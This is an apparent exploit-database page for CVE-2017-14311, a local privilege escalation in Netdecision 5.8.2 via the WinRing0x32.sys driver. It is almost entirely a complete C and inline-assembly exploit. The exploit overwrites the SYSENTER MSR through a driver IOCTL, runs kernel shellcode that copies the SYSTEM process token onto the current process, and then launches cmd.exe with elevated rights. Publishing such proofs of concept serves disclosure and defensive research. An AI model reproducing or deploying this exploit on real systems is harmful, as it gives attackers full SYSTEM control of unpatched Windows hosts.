Netdecision 5.8.2 Local Privilege Escalation

Credit: Peter Baris
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

// Netdecision.cpp : Defines the entry point for the console application. /* # Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys # Date: 2017.09.17 # Exploit Author: Peter Baris # Vendor Homepage: # Software Link: //registration required # Version: 5.8.2 # Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1 # CVE : CVE-2017-14311 Vendor notified on 2017.09.11 - no response */ #include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <winioctl.h> #include <tlhelp32.h> #include <Psapi.h> #define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0" LPCTSTR FileName = (LPCTSTR)DEVICE_NAME; HANDLE GetDeviceHandle(LPCTSTR FileName) { HANDLE hFile = NULL; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, NULL, 0); return hFile; } extern ULONG ZwYieldExecution = NULL; extern PVOID KernelBaseAddressInKernelMode = NULL; extern HMODULE hKernelInUserMode = NULL; VOID GetKiFastSystemCall() { SIZE_T ReturnLength; HMODULE hntdll = NULL; ULONG ZwYieldExecution_offset; hntdll = LoadLibraryA("ntdll.dll"); if (!hntdll) { printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } LPVOID drivers[1024]; DWORD cbNeeded; EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded); KernelBaseAddressInKernelMode = drivers[0]; printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode); hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe"); if (!hKernelInUserMode) { printf("[-] Failed to load kernel: 0x%X\n", GetLastError()); exit; } printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode); ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution"); if (!ZwYieldExecution) { printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError()); exit; } ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode; printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset); (ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode; printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution); if (hntdll) { FreeLibrary(hntdll); } if (hKernelInUserMode) { FreeLibrary(hKernelInUserMode); } hntdll = NULL; return hKernelInUserMode; return ZwYieldExecution; } extern ULONG eip = NULL; extern ULONG pesp = NULL; extern ULONG pebp = NULL; extern ULONG ETHREAD = NULL; ULONG Shellcode() { ULONG FunctionAddress = ZwYieldExecution; __asm { pushad pushfd xor eax,eax mov edi, FunctionAddress ; Address of ZwYieldExection to EDI SearchCall: mov eax, 0xe8 scasb jnz SearchCall mov ebx, edi mov ecx, [edi] add ebx, ecx; EBX points to KiSystemService add ebx, 0x4 lea edi, [ebx - 0x1] SearchFastCallEntry: mov eax, 0x00000023 scasd jnz SearchFastCallEntry mov eax, 0xa10f306a scasd jnz SearchFastCallEntry lea eax,[edi-0x9] xor edx, edx mov ecx, 0x176 wrmsr popfd popad mov eax,ETHREAD mov eax,[eax] mov eax, [eax+0x050] mov ecx, eax mov edx, 0x4 FindSystemProcess : mov eax, [eax + 0x0B8] sub eax, 0x0B8 cmp[eax + 0x0B4], edx jne FindSystemProcess mov edx, [eax + 0x0F8] mov[ecx + 0x0F8], edx ;xor eax, eax mov esp,pesp mov ebp,pebp push eip ; int 3 ret } } int main() { HANDLE hlib = NULL; HANDLE hFile = NULL; PVOID lpInBuffer = NULL; ULONG lpOutBuffer = NULL; ULONG lpBytesReturned; PVOID BuffAddress = NULL; SIZE_T BufferSize = 0x1000; SIZE_T nOutBufferSize = 0x800; ULONG Interval = 0; ULONG Shell = &Shellcode; NTSTATUS NtStatus = NULL; /* Undocumented feature to trigger the vulnerability */ hlib = LoadLibraryA("ntdll.dll"); if (!hlib) { printf("[-] Failed to load the library: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } GetKiFastSystemCall(); /* Allocate memory for our input and output buffers */ lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); /*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/ lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer); /* Crafting the input buffer */ BuffAddress = (PVOID)(((ULONG)lpInBuffer)); *(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4)); *(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8)); *(PULONG)BuffAddress = (ULONG)0x00000000; /* EDX is 0x00000000 in 32bit mode */ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc)); *(PULONG)BuffAddress = (ULONG)0x00000000; //RtlFillMemory(lpInBuffer, BufferSize, 0x41); //RtlFillMemory(lpOutBuffer, BufferSize, 0x42); //printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n"); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError()); return 1; } else { printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n"); } /*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/ (HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/ printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip); (HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/ printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip); /*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/ DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/ ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i); printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i); if (affinity == NULL) { printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError()); exit(1); } ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/ /*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */ __asm { mov pesp, esp mov pebp, ebp nop } DeviceIoControl(hFile, 0x9C402088, lpInBuffer, 0x10, lpOutBuffer, 0x20, &lpBytesReturned, NULL); STARTUPINFO info = { sizeof(info) }; PROCESS_INFORMATION processInfo; NTSTATUS proc; LPCSTR command = L"C:\\Windows\\System32\\cmd.exe"; proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo); if (!proc) { printf("ERROR 0x%X\r\n", proc); } WaitForSingleObject(processInfo.hProcess, INFINITE); exit(0); }

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top